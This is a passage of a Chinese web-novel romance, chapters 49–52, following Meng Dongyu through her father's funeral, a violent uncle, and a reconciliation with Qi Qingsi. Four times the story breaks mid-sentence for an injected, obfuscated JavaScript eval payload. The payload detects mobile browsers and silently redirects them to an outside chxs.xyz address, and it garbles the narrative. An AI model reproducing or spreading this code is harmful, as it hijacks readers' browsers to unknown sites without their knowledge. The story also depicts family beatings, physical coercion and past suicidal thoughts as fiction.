像是看出了孟冬愉的委屈,施荣再次改了口:“那你先在酒店住两天,这两天我把你房间收拾一下。” 孟冬愉淡淡“嗯”了声:“明天我们一起收拾。” 网上订好酒店,施荣在厨房忙活着准备午饭,孟冬愉和她说了声先去酒店看一眼,而后拎着行李箱往门口走。 刚走到门口,门外倒先传来了敲门声。 来人看到孟冬愉后,愣了一下,而后寒暄道:“孟楠,不对,现在该叫孟冬愉了,从北城赶回来的吗?” 孟冬愉打量了一眼来人—— 一个二十多岁的年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459237|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人,寸头,身高不低,似乎对她的过往很了解。 脑海中对这个形象搜寻无果,孟冬愉有些疑惑地问道:“你是?” 来人“啧”了一声,熟稔地自我介绍:“邱朗,不记得啦,高中咱们同班。” 说完,他似乎又想起了什么,接着补充:“高一时还做过同桌呢。” 听到这个名字,孟冬愉才有了点印象。 她高一时因为一次高烧考砸一场月考,后来换座位时,阴差阳错邱朗做了一个月同桌。 孟冬愉并没怎么关注过他,对他也并不怎么了解。 只记得他好像一直是那种不学无数的模样,上课睡觉,下课打架,班级里典型的差生。 应该是门口的动静,施荣擦了擦手,走了过来。 见到来人,施荣神色一下子紧张了起来,她抓着邱朗的袖子连忙问道:“邱警官,查得怎么样了?有结果了吗?我们建华是不是被冤枉的?” 邱朗闻言轻轻拍了拍施荣的胳膊,将她安抚下来:“阿姨您别着急,我来就是和您讲这件事情的。” 三人在客厅落座,施荣一边沏茶,一边向孟冬愉介绍:“这位是负责你爸爸的案子的警官,姓邱。” 孟冬愉没应声,只是礼貌点头。 邱朗笑了笑,接过施荣递来的茶水放到桌上,步入正题:“是这样的,经过技术人员对监控的修复,我们发现猥亵案的嫌疑人另有其人,目前已经缉捕归案。” “监控显示,那人犯罪结束不久,孟建华刚好醉酒路过,踢了小姑娘一脚。当时刚好被人拍到,所以大家才误认为是他。” “我就说嘛,他不会做这种事的。”施荣闻言拍了拍胸脯,又看向孟冬愉,“楠楠,你看,你爸爸是冤枉的。” 没等孟冬愉说什么,邱朗再次开口:“目前小姑娘父亲因为故意伤害罪入狱,具体赔偿还得看你们两家沟通,或者等法院判定。” “孟建华的尸体可以好好安葬了。” “阿姨,冬愉,你们节哀。” 施荣握住邱朗的手,连声感谢:“麻烦你了,邱警官。” 邱朗摆了摆手:“职责所在。” 事情交代完,施荣坚持要留邱朗一起吃午饭。 邱朗以还有事情要忙为由给拒绝掉,又开玩笑说:“冬愉难得回来,你们母女俩才该好好聚聚。” 话说到这里,施荣才意识到不对劲,她有些怀疑地问道:“邱警官,你认识我们楠……冬愉?” 邱朗倒也没隐瞒,看了眼孟冬愉,坦荡承认:“老同学。” “怪不得呢。”施荣眼睛笑开了花,而后又轻轻拍了拍孟冬愉的背,“你帮我送送邱警官。” “你爸爸的事情邱警官跑前跑后,没少费心,等有空了,你请他吃顿饭。” 知道施荣什么心思,孟冬愉出于礼貌,又加上想先将行李箱放到酒店,于是和邱朗一起下了楼。 邱朗听说孟冬愉定的酒店就在这附近,于是提议说和她一起过去,刚好趁着便衣去考察一下,看看后面有没有必要去扫个黄。 理由找得很完美,孟冬愉没办法反驳,只好随他去。 酒店前台办理好入住。 孟冬愉一转头,就看到了祁清肆。 49. 逃避 不是什么特殊的节日,酒店大厅来往行人并不多。 沿着前台向左直走,就是去往酒店不同楼层的电梯通道。 祁清肆身上穿着灰色连帽卫衣搭黑色牛仔裤,手上还拎了件黑色夹克,应该是刚从楼上下来。 他站在电梯口,沉黑如墨的眼睛死死地盯着孟冬愉,唇线绷直,仿佛在极力压抑着什么。 他怎么会突然出现在临城? 出现在她家附近的酒店? 在南江的那段日子里,孟冬愉除了向大家透露过她是临城人以外,不曾向任何人讲过她的家庭住址,更不曾向任何说过她那些不堪的过往。 祁清肆的到来,让她感到莫名的恐慌。 临城的温度比南江要低上一些,酒店大厅空调开着,孟冬愉却依旧觉得浑身发冷。 邱朗把行李箱推到她面前,出声将她的思绪唤回:“冬愉,看什么呢?” “没什么。”孟冬愉闻声收回视线,从他手中去接行李箱,礼貌地颔首,“谢谢,我先上去了。” 邱朗目光似有若无地落到祁清肆身上,没松开握着拉杆的手:“我送你上去。” “不用。”孟冬愉没察觉到这些,只是摇头拒绝,“我一个人可以的,而且你没登记应该也上不去。” 还没等邱朗应声,祁清肆就迈开步子朝他们走来。 行李箱的箱柄上落下第三只手,邱朗看了眼面无表情的祁清肆,又向孟冬愉确认:“你们认识?” 孟冬愉下意识攥紧手中的房卡,用力将行李箱拽回自己身边,冷冷地否认:“不认识。” 话音落,她低头,逃避似的想要往电梯口走,却被祁清肆抬手拦下。 邱朗见状将祁清肆的手腕扯开,挑眉看他:“这位先生,认错人了吧?” 祁清肆拎着外套的手攥得骨节发白,手背上青筋暴起。 仿佛下一秒,拳头就会挥到邱朗的脸上。 邱朗也一副完全没在怕的模样,挑衅般与他僵持。 祁清肆嗤笑了声,咬着后槽牙点头,而后又偏头看向孟冬愉。 他咬着牙喊出她的名字,面上愠色渐浓:“孟冬愉,把我当狗耍,好玩吗?” 冷漠的态度并没能换来想要的结果。 三人对峙的局面一时间吸引了不少八卦的目光,这么下去不是办法。 孟冬愉没搭腔,转头看向邱朗:“抱歉,我还有些事情要处理,你先回去吧。” “今天的事情麻烦你了。” 邱朗听出了孟冬愉是在赶人,掏出手机递到孟冬愉面前:“加个联系方式,遇到什么危险,随时打我电话。” 话虽是对孟冬愉说的,但是警告的视线却落在祁清肆身上。 孟冬愉抿了抿唇角,没去拿手机:“谢谢,没事的。” 拒绝的意思很明显。 邱朗笑了笑,又找了个理由:“这几天还得常联系,你父亲的……” 话没说完,就被孟冬愉匆忙打断:“邱朗,有什么事情,你直接联系我妈就好。” 话都说到这份上了,邱朗也识趣地没再坚持下去。 目送邱朗离开,孟冬愉深吸了口气,拖着行李箱往电梯口走。 祁清肆想伸手帮她去拎,却被她冷冷地甩开,最后只能一言不发地跟在她身后。 刷卡进门,孟冬愉将室内的灯打开,而后转身看向门口站着的人:“你跟着我做什么?” 祁清肆没应声,只是目光沉沉地盯着她看。 长久没动静,酒店走廊的声控灯逐渐熄灭。 孟冬愉耐心告罄,手落在门把手上试图关门。 房门合上一半,被祁清肆猛地推开,而后“嘭”地一声再次合上。 他将拎着的夹克扔在地上,双手擒住她的手腕抬到头顶,反扣在门板上。 一条长腿曲着挤在她的□□,将她整个人抵在门后。 他垂眼看她,胸腔缓缓起伏,呼吸重重地落在她的脸上。 背后的门板坚硬,孟冬愉懵了片刻,反应过来后开始挣扎:“你干什么?放开我。” 然而,男女力气差距悬殊,她的那些反抗根本起不到任何作用。 祁清肆重而乱的呼吸久久没有平复,他盯着她的眼睛,带着质问开口:“孟冬愉,你拿我当什么了?” 孟冬愉执拗地偏头,错开他的视线,蹙着眉冷冷地重复:“你放开我。” 祁清肆周身都压着火,完全没有松手的意思。 他喉结滚了滚:“真当我召之即来,挥之即去吗?” 孟冬愉转头,有些好笑地对上他的目光:“是我让你来的吗?” 祁清肆闻言顿了一下,而后自嘲地扯了扯唇角,点头:“是,是我自己舔狗一样巴巴地追来的。” “但是,孟冬愉,就算养只狗,离家时也该记得给它添水加粮吧?”没等孟冬愉应声,祁清肆一字一句地接着控诉,“你倒好,说好的让我等你,转头就一声不吭地离开南江,耍我玩吗?” 遇到紧急的事情,孟冬愉会本能地以自我为中心。 离开南江之前,为了交接工作,她给温承卿发了消息,也托师弟师妹们给祁振强留了话。 除此以外,她再没有向任何人讲过要离开一段时间,也确实没有想起和祁清肆说一声。 不怪他会这么生气。 只是……他不该追过来。 她在外面费力维持的假象,在临城,会随时随地被人戳破。 她不想被他看到,她那些难堪的过往。 她的自尊心也不允许她坦然地将自己的伤疤揭给他看。 别人对她的评价一点都没错,她确实是一个很假的人。 她从出生起,所遇到的那些糟糕的时刻,都是她独自熬过来的。 她不具备爱人或者被爱的能力。 所以……不能再耽误他了。 孟冬愉闭了闭眼,缓缓开口,语调冰冷又无情:“不是你自己在死缠烂打吗?” “我从来没说过喜欢你吧?” “我不是明明白白地告诉过你,我们不合适吗?” 话音落,室内突然静得落针可闻。 祁清肆缓缓松开了禁锢着她的手,一点点与她拉开距离。 “孟冬愉,为什么……”红意攀上眼尾,祁清肆喉结滚了又滚,再开口时声音哑得厉害,“为什么就是不肯……看看我呢?” “不是总说我对你态度差吗?”孟冬愉揉着泛酸的手腕,垂头笑了笑,又抬眼看他,“那现在我告诉你,从一开始,你就不是我喜欢的类型。” “我最讨厌的就是你这种整天吊儿郎当,不知进取的人。” 眼尾的红蔓延到眼眶,祁清肆颓丧地垂下头,密而长的睫毛遮挡了眼睛。 地面上落下一滴又一滴的水渍。 他鼻音很重:“孟冬愉,我可以改。” “我不需要。”孟冬愉视线落在地面上,一点点攥紧手指,强行压下发颤的声音,“回你的南江去,别再来招惹我,行吗?” - 孟建华的葬礼,是孟冬愉回临城后的第四天举办的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473566|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从猥亵案的事情有了结果,孟冬愉的大伯孟建中,突然一转原先避之不及的态度,开始主动操办孟建华的葬礼。 孟冬愉说是尽子女的最后一点义务,回来处理孟建华的后事。 但是说到底她也是第一次经历这样的事情,对葬礼习俗和流程都没什么经验。 既然孟建中主动承包了此事,孟冬愉索性就交给了他去办,一切听他的安排。 孟建中这两天多次向邻里哭诉他这个弟弟不容易,并扬言绝对不会原谅杀死他弟弟的凶手,一定会通过法律手段替孟建华一家维权到底。 他的意图,孟冬愉心知肚明,但什么都没说。 说来也好笑,不知是临城的丧葬习俗还是孟家传下来的习俗,规定说女人不能为死者守灵。 就连下葬时本该由子女捧着的骨灰盒,也只能让孟建华的侄子、孟建中的儿子来。 孟冬愉身为孟建华的亲生女儿,只有站在一旁吊唁的份儿。 磕头行礼时,听着旁人或真或假的抽泣声,孟冬愉只觉得讽刺。 一个孟冬愉并不认识的远房亲戚,可能是看见她扯了扯唇角,开始和身边的人窃窃私语:“孟家那丫头算是白养了,见了面也不知道喊人,亲爸死了一滴泪都不掉的。” “再看看他那个侄子,哭得让人心疼。要我说,还是养儿防老。” 他们声音不大,但孟冬愉站得不算远,还是讲他们的话听了个清楚。 根深蒂固的思想很难通过她一句话去改变什么,孟冬愉笑了笑,选择冷眼旁观。 葬礼快结束时,一个憔悴的女人突然闯了进来。 女人一进来,就扑通一声跪到施荣面前:“姐,我姑娘她爸当时也是一时冲动,实在没想到会闹出这样事情。” “您丈夫的医疗费我们已经付了,赔偿金我们实在拿不出这么多,求您行行好,看在我姑娘这么……的份上,签一下这份谅解书吧。” 孟建中听到动静,连忙从人群中走了出来,顶着个啤酒肚,扬声道:“欺负我弟妹和侄女两个人无依无靠?” “我弟弟无辜丧命,我告诉你,赔偿金一分钱都不能少。” 周围人都在指指点点,大多站在孟建中这边,觉得女人一家不该原谅。 孟冬愉趁乱从女人手中接过那张纸,细细看了几眼,又开口问她:“有笔吗?” 女人闻言愣了一下,连忙从口袋中掏出一支签字笔。 孟冬愉接过来,在谅解书上填了自己的信息和名字,而后在众人一脸懵的情况下,递给了女人。 女人哭着再次下跪,却被孟冬愉拦下,她温声开口:“告诉她,不是她的错。” “还有,她的爸爸很爱她。” 目送女人离开,众人才纷纷从震惊中回神。 没人想到孟冬愉一个一天下来没说过几句话的小姑娘,竟然敢自作主张签了名。 孟冬愉讥讽地扯了扯唇角:“很意外吗?这个葬礼上没资格抱他骨灰盒的亲女儿,却可以在法律上帮他签下谅解书。” 眼看着快要到手的赔偿金飞了,孟建中脸气得铁青,他抽出皮带,猛地朝她扬手:“不孝女,我今天要替你爸好好教训你。” 孟冬愉和众人一样,并没预料到,孟建中会气得在葬礼上公然打人,自然也没来得及闪躲。 眼睁睁看着皮带就要落到身上,孟冬愉却突然被人拥入怀中。 耳畔传来一声闷哼,孟冬愉猛地抬头。 那个她以为已经回了南江的人,再次出现在她的眼前。 50. 闹剧 人在大脑一片空白的时候,五感好像也会随之丧失。 直到祁清肆将她松开,孟冬愉才反应过来—— 她刚刚是被他以怎样的一个姿势抱住,又是怎样替她挡下了一棍。 孟建中见自己打错了人,上下打量了眼祁清肆,确认他是小辈,又拎起铁棍指着他,警告道:“你最好给我站远点,我教训我们孟家的人,谁都别想拦。” 孟冬愉此刻已经无暇顾及,祁清肆究竟是什么时候来的,对她的事情又听说了多少。 她将他拽到身后,直面孟建中,佯装不懂地问道:“大伯,赔偿金是赔给我妈和我的,我们不要,您气什么呀?” 孟建中被问得一愣。 众人的神色也有些意味深长。 孟建中反应过来后,开始将他生气的原因往孝道上扯:“自己亲爹死了,不掉一滴泪不说,还替他原谅了杀他的凶手。” “你这个亲女儿还不如你堂弟孝顺。” “我记得你们背地里都挺嫌弃我爸的,他这辈子确实没干多少好事,我想着帮他签下谅解书,给他下辈子积点德,怎么就成不孝女了?” 孟冬愉笑了笑,环视一周,再次看向孟建中,接着开口:“我堂弟确实比我孝顺,我爸也真把他当亲儿子养,可是法律上不认啊。” “他再孝顺,也得是您死了,他才能拿到赔偿金吧?” “操,你他妈诅咒谁呢?”她那位原本哭得死去活来的堂弟,脸上早已没了泪痕。 他听闻孟冬愉忽地提起他,烦躁地踢翻了灵堂的供桌,转身就要扯孟冬愉的胳膊:“我警告你孟楠,你别他妈当了婊.子还立牌坊。” 然而,他手指还没碰到孟冬愉,就被祁清肆猛地一折。 听懂了孟冬愉的阴阳怪气,孟建中气极,恶狠狠地朝着孟冬愉再次扬手:“不知天高地厚的东西,看老子今天不打死你。” 孟冬愉闭上眼,等着孟建中的棍子。 施荣却突然挡在孟冬愉身前,哭着去抓孟建中的胳膊:“大哥,孩子不懂事,我回头一定好好教育她。” “今天是建华的葬礼,求你看在建华的面子上,饶她这一回吧。” “你他娘的给老子滚开。”孟建中愤怒地踢了施荣一脚,“我弟就是娶你了这个丧门星,才会落得这个下场。” 话音刚落,警车的鸣笛声响起,邱朗带着一行人,陆陆续续进来。 孟建中和孟建华脾气一个样,火气上来了,打人不分场合也不分轻重。 孟冬愉本想着以身为饵,故意激怒孟建中,让他动手。 然后报警、验伤,哪怕到时候判不了刑,也能让他拘留一些天,长个教训。 反正……她从小到大,都被打习惯了,也不差这一次。 只是没想到,施荣依旧像孟建华打她时那样,去替她求饶。 也没想到这次警察的出警速度这么快。 预想的结果没有发生。 邱朗一行人也只能现场调解。 眼看着快要结束的葬礼突生一波又一波事端。 其中有几个年岁大和事佬,劝慰孟建中道:“家务事等葬礼结束后再处理,别让大家看咱们孟家的笑话。” 孟建中终究是好面子的,最后只好陪着笑将警察送走,而后瞪了孟冬愉一眼,宣布葬礼继续。 但孟建中的儿子,却撂了挑子。 孟冬愉的奶奶生了四个女儿两个儿子,孟建中的儿子是孟冬愉这一代中的独苗苗,从小被一大家子人当成命根子宠。 脑子仿佛被宠坏了一样,情商和智商经常低得要命。 孟冬愉一开始就不信她这个堂弟对孟建华的死会有多真情实感。 孟建中让自己的儿子继续回去跪着。 但是他却没听,而是揉着被祁清肆折得生痛的指根,骂骂咧咧道:“爸,赔偿金都没了,你还瞎操什么心?” “操他妈的,害我白哭了这么久。” 此言一出,众人皆是面面相觑。 心思就这么被自己的亲儿子公然揭穿。 孟建中的脸红了又紫,紫了又红,最后只好甩了甩袖子,加速走完了葬礼流程。 送走宾客,孟建中试图秋后算账。 孟冬愉没来得及反应,就被祁清肆扯着手腕加速离开。 回酒店的必经之路上有一座桥。 祁清肆在桥头停下脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488432|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,松开了她的手腕。 皮肤上残留的温热,让孟冬愉后知后觉地意识到—— 那些她极力想要隐瞒的、最不想让他看到的,关于她人生的灰暗面,他在这场闹剧中全都看到了。 就好像她厚厚的壳突然被人给撬开。 让她莫名感到惊慌,感到不安,还感到……自卑。 孟冬愉抬头去看他。 同时心底又在默默祈祷,不要在他脸上看到鄙夷或者嘲讽。 视线没来得及相交,祁清肆就面无表情地垂下头去。 他什么都没说,转身,独自一人走上了桥,沿着回酒店的方向走。 最后,一步一步消失在桥的尽头。 孟冬愉忽然间觉得心脏好像被尖刀一下一下地划着。 丝丝缕缕的痛意蔓延,到喉咙处又转变成苦涩。 每个真正了解过她原生家庭的人,最后都会选择远离她。 祁清肆也不例外。 这很正常。 这些年,她早已经接受了这个事实。 也没什么舍不得的。 本来就该毫不留情地散场。 临城的深秋很冷,孟冬愉拢了拢外套,望向桥下湍急的河流。 这座桥曾经也是她每周放学回家的必经之路。 她在这座桥上,曾经萌生过两次想死的念头。 第一次是她高二那年,第二次是高三那年暑假。 第一次救她的人是小姨,第二次救她的人是载酒。 以后,应该不会再有第三次了。 毕竟,第三次,也不会再有人救她了。 孟冬愉想要去笑,却觉得鼻尖和眼眶都酸得厉害。 喉咙像被什么哽住了一样,又涩又痛。 孟建华死了她都没哭。 以后的日子只会越来越好,为什么现在却这么难过呢? 冷风将脸颊上的湿热吹干,却留下龟裂般的干痛。 孟冬愉吸了吸鼻子,扯起高领毛衣的衣领,将下半张脸埋了进去。 她低着头,踩着拱桥的石砖缝隙,往家走。 上坡又下坡,孟冬愉在桥的尽头再次看到了祁清肆。 51. 不舍 时值晚秋,河边的垂柳尽数变黄,秋风一吹,枯黄的枝叶落得满地都是。 祁清肆站在萧瑟的桥头,等着她一步步走来,沉黑的眼睛如同往日般盯着她看。 不是已经做好选择了吗? 不是已经决定离开了吗? 为什么又要停在这里等她? 孟冬愉将头低下去,错开他的视线,与他擦肩而过后,又被他喊住。 他说:“孟冬愉,我也有尊严。” 他的声音不大,刚好字字句句地落入她的耳中。 孟冬愉突然觉得,心脏仿佛被一只无形的手给揪紧,被尖刀划过的伤口再次裂开。 痛意席卷而来,好像连呼吸都变得有些困难。 脑海里再次浮现出,前几天她为了赶走他,说过的那些狠心的话。 又想起他在她面前红着眼眶,绝望又无力的落泪画面。 值得吗? 为了她这么一个心口不一,又自私懦弱的人。 他也有尊严。 她是该为自己说过的重话向他道歉。 孟冬愉没回头,将手指攥紧:“对不起。” 祁清肆几步走到她身前,垂眼看她,确认般问道:“我真的……没机会了是吗?” 他的神色落寞,语气却带着决绝,仿佛这是最后一次问她。 孟冬愉没回答,将手指松了松,又抬眼看他:“为什么没离开临城?” 为什么她说了那么多伤人的话,他还是选择留下? 就像现在一样,已经了解了她的家庭背景,为什么还在等她? “我也有尊严,我也想一走了之,可——”祁清肆自嘲地笑,停顿了一下,又带着点无能为力开口,“可我不甘心。” 心脏再次落下重重一击。 孟冬愉感觉喉咙好像哽得厉害。 他不甘心。 她好像……也不太甘心。 地面上的落叶焦黄,不知谁丢在路边的传单,埋在落叶中,若隐若现地能看出是酒吧开业的宣传页。 孟冬愉低头沉默了片刻,鬼使神差地抬头问道:“去喝酒吗?” 似乎没料到孟冬愉会突然无厘头地换了话题,祁清肆神色微顿,而后眼底带着疑惑,点头。 孟冬愉心底也为自己突然的想法感到震惊。 她什么都没解释,蹲下身去,捡起宣传单,将上面的地址输入手机导航。 出租车停到酒吧门口,他们一进门就碰到了小姨施胜男。 施胜男倚在名为“忘忧”的酒吧门内,身旁站着一个西装革履的男人。 她一身奶白的吊带紧身羊绒裙,鲜红的美甲换成了钻石款,指尖的女士香烟燃着。 她夹着烟吸了一口,将烟气全部吐到男人的脸上,看着男人忍耐的神色,笑得花枝乱颤。 孟冬愉忽然间有些无措,不知道是该礼貌地打下招呼,还是径直略过他们。 这种时候应该不希望被打扰。 孟冬愉犹豫了一下,轻轻呼出一口气,决定当作没看到。 带着身后的祁清肆,刚从他们身旁路过,就听到施胜男喊她:“孟冬愉,不喊人?” 孟冬愉脚步停住,回头,抿了抿唇角:“小姨。” 施胜男的视线在孟冬愉和祁清肆身上逡巡,语调依旧带着嫌弃:“多大个人了?带男人来酒吧,还心虚?” 本来觉得没什么,但是经施胜男这么一说,孟冬愉突然有点心虚。 就好像放学后和男同学出去玩,被家长抓包了一样。 “没有。”孟冬愉摇头,试图转移话题,“您怎么还在临城?” 自从上次在医院见了一面之后,施胜男就再没露过面,也没再发过什么消息。 孟冬愉以为她已经早早回了北城。 施胜男闻言睥了身旁的男人一眼,抽了口烟,漫不经心地应声:“被人抢了身份证,走不了。” 孟冬愉多少看出些端倪,指了指施胜男身旁一直没讲话的男人,试探地问道:“这位是,小姨父?” 男人闻言薄唇漾起一丝弧度,还没开口说些什么,就被施胜男轻“哼”一声,给截断:“想得美。” 孟冬愉其实对施胜男的了解并不多。 小时候只听说她高中没读完,就独自一人去了北城,后来很少回来。 为数不多的几次见面,孟冬愉对她的印象全都是—— 漂亮却叛逆,话里话间都非常排斥且厌恶男人。 这次在酒吧的碰面,再次勾起了孟冬愉对她的好奇心。 她张了张口,想要再问些什么,却先听到施胜男开口赶人。 施胜男漂亮的下巴轻轻扬起,将掐灭的烟头丢在身旁的男人手中,朝孟冬愉示意道:“进去吧,想喝什么尽管点,今晚的消费,他买单。” 孟冬愉连忙摇头:“谢谢小姨,不用了。” “也行。”施胜男也没坚持,目光再次落在祁清肆身上,“你小男友看着也不差这点儿钱。” 再次被误会,孟冬愉心下一惊,却不知道该如何解释。 她犹豫了片刻,最后只是逞强道:“我也不差这点钱。” 祁清肆原本抿成直线的唇角微微勾起,他礼貌颔首:“谢谢小姨。” 施胜男嗤笑了声,并不承情:“喊太早了。” 酒吧的卡座落座,又将酒水点好。 两人相对而坐,却都沉默着。 不知道是方才和施胜男的那一通对话的原因,还是酒吧内的氛围过于暧昧。 再次面对祁清肆时,孟冬愉突然觉得有些不自在。 她也不知道为什么会在冲动之下,喊他来酒吧喝酒。 也没搞清楚心底真正的想法和这么做的意图。 在祁清肆等待的目光下,孟冬愉端起桌上的白开水喝了一口,最后选择逃避:“我去趟洗手间。” 磨磨蹭蹭了许久,孟冬愉再次回来时,酒水已经被端了上来。 施胜男正坐在她的位置上,在和祁清肆聊些什么。 见孟冬愉过来,施胜男也并没有要走的意思,反客为主地指使孟冬愉:“坐对面。” 孟冬愉心底莫名松了口气,听话地坐在祁清肆让出的位子上。 施胜男从烟盒里摸了根烟,打火机“咔嚓”一声点燃,又将烟盒丢到祁清肆面前。 知道她的意思,祁清肆又将烟盒推了回去:“谢谢小姨,我不抽。” “不会?”施胜男挑眉,视线落在祁清肆捏着杯柄的手指上,又否掉了原先的判断,“不是烟瘾挺大的?” “还好。”祁清肆垂头扯起唇角笑了笑,又捏着酒杯灌了口酒,并没完全否认,“只是这几天抽得多了点。” 孟冬愉并不清楚施胜男怎么得出的结论,但是她清楚记得,祁清肆说过,他没什么烟瘾。 只是这几天抽得多了点…… 他的意思是,只是这几天他不开心。 施胜男看了眼孟冬愉,再次把烟丢给他:“想抽就抽,我姑娘又不介意。” 祁清肆笑着摇了摇头,依旧没拿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502219|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “玩个游戏,怎么样?”施胜男没再勉强,指着孟冬愉,自作主张地换了话题,“我问你答,三十秒内答不上来,她替你喝酒。” 祁清肆试图和她谈条件:“答不上来我自己喝。” “自己喝有什么意思?”施胜男笑了声,将他的意见否决,又看向孟冬愉,“玩不玩?” 孟冬愉抿了口酒,点头:“嗯。” 施胜男捻了捻美甲,问了第一个问题:“怎么认识的?” 祁清肆犹豫了一下,才开口:“大学……” 话没说完,就被施胜男无情打断,她敲了敲孟冬愉的酒杯:“时间到了,喝吧。” 孟冬愉愿赌服输般将杯中的酒猛地灌了一大口。 本以为他会说是在南江认识的,他竟然提起了大学。 孟冬愉想听他把答案说完,施胜男却径直问了下一个问题:“多大了。” 祁清肆这次倒是没犹豫:“二十三。” 施胜男向孟冬愉确认:“你多大来着?” 孟冬愉抿了抿唇角,如实回答:“二十六。” 施胜男点头:“喜欢姐姐啊?” 祁清肆顿了一下,而后摇头:“不是。” 施胜男闻言有些不满:“所以是我姑娘在追你?” 祁清肆将杯中的酒喝掉,依旧否认:“不是。” 施胜男没再刨根问底,而是话锋一转:“谈过几次。” 祁清肆想都没想就应声:“没谈过。” “没谈过?”施胜男明显不信,“你这模样,应该不缺女朋友吧?” 祁清肆看了眼孟冬愉,这次没再回答,径直拿起酒杯:“我喝酒。” 施胜男“啧”了一声:“无趣。” 眼看着两个人都不是那种会玩的人,每个人还都怀揣着心事一样,不肯将心里话说出来。 施胜男问着问着也没了兴致,最后摆了摆手起身:“你们玩,我出去透口气。” 活跃气氛的人走后,剩下的两人再次陷入沉默。 孟冬愉将面前的两杯酒全部喝光,而后招来侍应生:“你好,结账。” 侍应生拿起平板翻了翻,回应道:“女士您好,您这桌的酒水,有位姓沈的先生帮您付过了。” 孟冬愉闻言愣了一下,后知后觉反应过来,这位姓沈的先生,应该是方才施胜男身旁的男人。 她视线环顾一周,并没看到施胜男的身影。 孟冬愉低头给施胜男发了条短信,起身,看向祁清肆:“走吧。” 出了门没打车。 孟冬愉沿着街道,漫无目的地往前走。 祁清肆默默地跟在她的身后。 走了许久,孟冬愉才转身,看着他的眼睛,缓缓开口:“祁清肆,我们不是一个世界的人。” “我的原生家庭……很糟糕。” 孟冬愉垂头笑了下,又接着补充:“我也很糟糕。” 祁清肆向她走了几步,和她拉近距离。 他垂眼,目光真挚地盯着她:“孟冬愉,我说过的,我不在乎你的过往。” “你不想让我知道的那些事情,我不会去问。” “我也说过,我是自愿……” 每次都是这样,他总是会真诚又迫切地向她解释。 不知道是不是后两杯酒喝得有点急,酒劲开始有些上头。 孟冬愉抬起胳膊环上他的脖子,将他的话打断。 她看着他的眼睛,带着点明知故问的试探:“祁清肆,还喜欢我吗?” 52. 拥抱 还喜欢她吗? 知道了她糟糕的一切,还要坚持喜欢她吗? 明知道会得到什么样的答案,可孟冬愉还是忍不住想去确认。 祁清肆身子僵了一下,没说完的话被孟冬愉突如其来的举动生生截断。 他原本自然下垂的胳膊抬了抬,本能地想要去揽她的腰,意识到不妥,又放了下去。 先前的颓丧顷刻间烟消云散,唇角的弧度再也压不下来。 他微微俯身,配合着她的动作,又哼笑了声,回应她的问题:“你说呢?” 对于主动攀上他脖颈这件事,孟冬愉话音落下后,自己也吓了一跳。 心脏不可抑制地剧烈跳动,胳膊却不愿意松开半分。 孟冬愉咽了咽口水,将早该做出的决定,讲给他听:“我们试试看吧。” 昏黄的路灯下是一排排行道树,丝丝缕缕的光线透过树叶间隙,在地面上留下斑驳的光影。 细碎的光线也忽明忽暗地落入祁清肆的眼中。 他原本沉黑的眼眸好似有波涛翻滚,卷着浪花汹涌地拍击她的心脏。 她仰着头,呼吸和他交缠,淡淡的酒气混杂着属于他的气息在空气中飘荡。 祁清肆喉结微滚,视线本能地落在她的唇上,声音染着点哑意:“想和我谈恋爱啊?” 孟冬愉咬了咬嘴唇,而后点头:“嗯。” 唇瓣被牙齿松开,泛起浓郁的血色。 祁清肆垂眼看着,忽然觉得喉咙发干,难耐的燥意一点点涌上心头。 四周万籁俱寂。 只剩想要占有的欲念,无声叫嚣。 祁清肆不知想到了什么,忽地笑了声,继而不舍地将视线挪开,对上她的眼睛。 他的眼底染着顽劣的笑意,说出的话也带着欲迎还拒的意思:“不是说,不喜欢我吗?” “没有。”孟冬愉闻言摇头,又看着他的眼睛,直白承认,“喜欢。” 她原本淡漠的眼眸,此刻仿佛蓄了一池春水,在细碎的灯光照射下,潋滟着水光。 前所未有的愉悦感袭来,祁清肆喉咙滚了又滚,口干舌燥的感觉却没能缓和半分。 长久不动,被她勾着的脖颈有些发酸。 